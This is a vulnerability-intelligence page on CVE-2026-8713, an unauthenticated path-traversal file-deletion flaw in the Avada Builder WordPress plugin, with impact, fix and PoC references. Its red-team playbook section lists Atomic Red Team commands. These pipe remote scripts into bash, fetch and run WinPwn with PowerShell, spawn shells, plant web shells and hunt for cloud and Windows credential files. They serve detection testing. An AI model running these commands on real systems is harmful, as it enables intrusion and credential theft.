CVE-2026-8713
Overview
This vulnerability is an arbitrary file deletion flaw rooted in improper validation of file paths within the maybe_delete_files function of the Avada (Fusion) Builder plugin for WordPress. The issue arises from insufficient sanitization of user-supplied input, enabling path traversal attacks. The affected component is the Fusion_Form_DB_Privacy cleanup routine triggered during shutdown, which processes database entries related to form submissions.
Vulnerability Description
The Avada (Fusion) Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maybe_delete_files function in all versions up to, and including, 3.15.3. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The attack requires a published Avada form configured to save entries to the database; an unauthenticated attacker submits a path-traversal payload via the wp_ajax_nopriv_fusion_form_submit_ajax handler while also controlling the fusion_privacy_expiration_interval and privacy_expiration_action fields to force an immediate 'delete' cleanup, causing the planted entry to be automatically processed by the Fusion_Form_DB_Privacy shutdown-hook routine without any administrator interaction.
Impact
An unauthenticated attacker can delete arbitrary files on the server, including critical configuration files like wp-config.php. This can disrupt website functionality or enable remote code execution if executable files are removed or replaced. The attack requires only the presence of a published Avada form with database entry saving enabled and no user interaction beyond submitting the crafted form. Consequences include full site compromise, data loss, and potential lateral movement within the hosting environment.
Solution
Users should upgrade Avada (Fusion) Builder to version 3.15.4 or later, where the arbitrary file deletion vulnerability is patched. Detailed patch instructions and verification steps are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/e4bfb72e-023b-4bfd-b125-91f6ac2f200f. No official workaround is documented; immediate updating is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Avada (Fusion) Builder plugin for WordPress stems from inadequate validation of file paths within the maybe_delete_files function. This oversight allows unauthenticated attackers to exploit the system by submitting crafted payloads that leverage path traversal techniques. The flaw exists in all versions up to and including 3.15.3, creating a significant risk for any WordPress site utilizing this plugin. The core issue lies in the plugin's failure to properly sanitize user input, which could lead to unauthorized file deletion on the server. When an attacker submits a malicious request through the wp_ajax_nopriv_fusion_form_submit_ajax handler, they can manipulate the privacy expiration settings to trigger the deletion of arbitrary files, including critical ones like wp-config.php, which contains sensitive configuration details and database credentials.
Exploitation of this vulnerability can occur through several attack vectors. An attacker must first ensure that a form created with the Avada plugin is publicly accessible and configured to save entries to the database. By submitting a specially crafted request that includes path traversal sequences, the attacker can instruct the server to delete files outside the intended directory. This process does not require any authentication, making it particularly dangerous, as it opens the door for attackers to execute arbitrary commands or scripts if they manage to delete files that facilitate such actions. The exploitation is further facilitated by the plugin's reliance on specific parameters, such as fusion_privacy_expiration_interval and privacy_expiration_action, which can be manipulated to trigger the deletion process without any administrative oversight.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on WordPress for their online presence. Unauthorized file deletion can lead to data loss, service disruption, and potential exposure of sensitive information. If an attacker successfully deletes critical files, they can gain control over the website, leading to remote code execution, data breaches, or even the complete compromise of the server. The financial implications can be significant, including costs associated with recovery, legal liabilities, and damage to reputation. Furthermore, if the compromised site is part of a larger network or ecosystem, the ramifications could extend beyond the individual site, affecting other connected systems and services.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to keep all plugins, including the Avada Builder, updated to the latest versions, as developers often release patches to address known vulnerabilities. Regular security audits and code reviews can help identify potential weaknesses in custom implementations of the plugin. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Monitoring server logs for unusual activity, such as unauthorized deletion requests or unexpected changes to critical files, can also aid in early detection of exploitation attempts. Finally, implementing strict access controls and ensuring that only authenticated users can perform sensitive actions will significantly reduce the attack surface.
In conclusion, the vulnerability in the Avada (Fusion) Builder plugin presents a critical risk to WordPress sites, allowing unauthenticated attackers to delete arbitrary files and potentially gain control of the server. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from site administrators and security professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their digital assets and maintain the integrity of their online operations.
CSURFACE threat intelligence has identified a slight increase in exploitation attempts targeting the Avada (Fusion) Builder vulnerability, accompanied by the emergence of a new public proof-of-concept exploit hosted on GitHub. This development marks a critical shift in the threat landscape, as the availability of publicly accessible exploit code significantly lowers the barrier for attackers, including less skilled adversaries, to weaponize the vulnerability. Our telemetry indicates that while overall exploitation activity remains relatively stable, the introduction of this exploit tool could accelerate attack campaigns and broaden the pool of potential attackers. Consequently, the risk associated with CVE-2026-8713 has intensified, reinforcing its critical severity rating. Defenders should anticipate a potential uptick in automated scanning and exploitation attempts as threat actors incorporate this new resource into their toolkits, increasing the likelihood of successful compromise and remote code execution on vulnerable WordPress installations.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
shinthink/CVE-2026-8713
Pre-auth path traversal to arbitrary file delete in Avada (Fusion) Builder <= 3.15.3 leading to RCE (CVSS 9.1)
|
shinthink | 3 | 0 | 2026-07-05 | View |
Threat Feed
8 eventsProof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: theme-fusion, product: avada_builder
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-8713 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e4bfb72e-023b-4bfd-b125-91f6ac2f200f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/inc/class-fusion-form-db-entries.php#L79 |